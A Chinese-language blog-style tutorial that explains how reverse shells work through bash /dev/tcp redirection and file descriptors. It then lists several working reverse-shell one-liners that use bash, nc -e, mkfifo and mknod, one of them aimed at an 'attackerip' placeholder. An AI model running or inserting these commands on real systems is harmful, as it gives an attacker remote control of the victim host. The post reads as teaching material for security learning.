一、什么是反向shell

就是控制端监听在某TCP/UDP端口,被控制端主动连接控制端的这一端口,控制端可以通过这一端口进行相关命令操作。像telnet,ssh这些可以理解为正向shell,控制端主动连通控制端,而反向shell则是正向shell的向。

反向shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形,同时也实现了被控端的精准控制(指定了被控制端的IP,除此之外的是无法和被控端无法连接)。

二、反向shell测试

主控端和被控信息:

  • 控制端:10.212.52.14
  • 被控制端:10.212.52.252

在控制端监听一个端口:

1nc -lvp 3000

被控制端执行如下指令:

1bash -i >& /dev/tcp/10.212.52.14/3000 0>&1

从上面可以看出,这里指出了被控制端的IP和端口信息。其具体实现的结果如下:

reverse-shell
reverse-shell

上面的数字标出了执行的顺序。最后可以看出,我们的主机已经由localhost变成了9s3s主机。接下来我们看下这个反向shell的实现过程。

1、bash -i

这个表示产生一个交互式的shell ,当然我们也可以能对方一个csh或zsh,不过交互式的参数会根据shell的不同可能有所不同。

2、/dev/tcp/ip/port

/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。见下图:

devtcp-socket-conn
devtcp-socket-conn

上面做了两个示例,其中一个是被控端向控制端发送数据,后面一个是控制端向被控制端发送数据。

三、反向shell深度剖析

这里的重点是关于文件描述符的,我们知道LINUX下有三种文件描述符:

  • 标准输入:standard input 0 (默认设备键盘)
  • 标准输出:standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

关于这部分内容也可以参看我之前写过的另一篇文章:浅谈文件描述符1和2

既然/dev/tcp/ip/端口 是可以和对应的IP之间建立通信用的,那如果我们按常规写法,开一个bash给远端的主机,按如下命令写会是什么效果呢?

1bash -i > /dev/tcp/10.212.52.14/3000 

同样,在被控端执行上面的命令之前,我们还需要控制端执行nc端听3000端后,执行后,两端建立了连接。此时在被控制的主机上执行任何指令发现都是在被控制端输出。

echostdout
echostdout

为什么会出现上面的情况,我们理下重定下的关系,如下:

1stdin 0     ------>  /dev/tty0
2stdout 1   ------>  /dev/tcp/10.212.52.14/3000
3stdout 2   ------>  /dev/tty0

反过来想,如果我们想让远端主机进行命令输入,是不是应该把箭头的方向调个个:

1bash -i < /dev/tcp/10.212.52.14/3000
2分析如下:
3stdin 0     ------>  /dev/tcp/10.212.52.14/3000
4stdout 1   ------>  /dev/tty0
5stdout 2   ------>  /dev/tty0

但是调个个以后,肯定还是单向的,我们需要将两者结合起来,标准输入和标准输出都给远端被控主机:

1bash -i > /dev/tcp/10.212.52.14/3000 0>&1

此时,stdin和stdout都指向了/dev/tcp/10.212.52.14/3000 。但在执行的时候,发现所有在管理端上运行的命令还都会在被管理端上运行,如下:

stdoutinvictim
stdoutinvictim

而我们想实现的效果是:

stdinouterr-totcp
stdinouterr-totcp

想要实现这个效果其实很简单,只需要再加个标准错误到标准输出即可。如下:

1bash -i > /dev/tcp/10.212.52.14/3000 0>&1 2>&1

这个可以与下面这个等价:

1bash -i >&  /dev/tcp/10.212.52.14/3000 0>&1

四、其他一句话shell

这里又找了其他五个一句话shell,作用差不多类似:

1exec 5<>/dev/tcp/10.212.52.252/3000;cat <&5|while read line;do $line >&5 2>&1;done
20<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
3nc -e /bin/bash 10.212.52.252 3000  (有-e参数nc)
4rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.212.52.252 3000 >/tmp/f (无-e参数nc)
5mknod backpipe p; nc 10.212.52.252 3000 0<backpipe | /bin/bash 1>backpipe 2>backpipe

其中前两条类似,以第一条为例,是将文件描述符5重定向到了 /dev/tcp/ip/端口(读写权限都有),后面是一个经典的while read line do done from file的语名,如下:

1while read line
2do
34done < file

nc带e的没什么好说的,直接是给对方一个shell(常用的redhat/centos是带e版的),像SUSE这种OS就是不带e版的。而通过mkfifo 命令可以创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。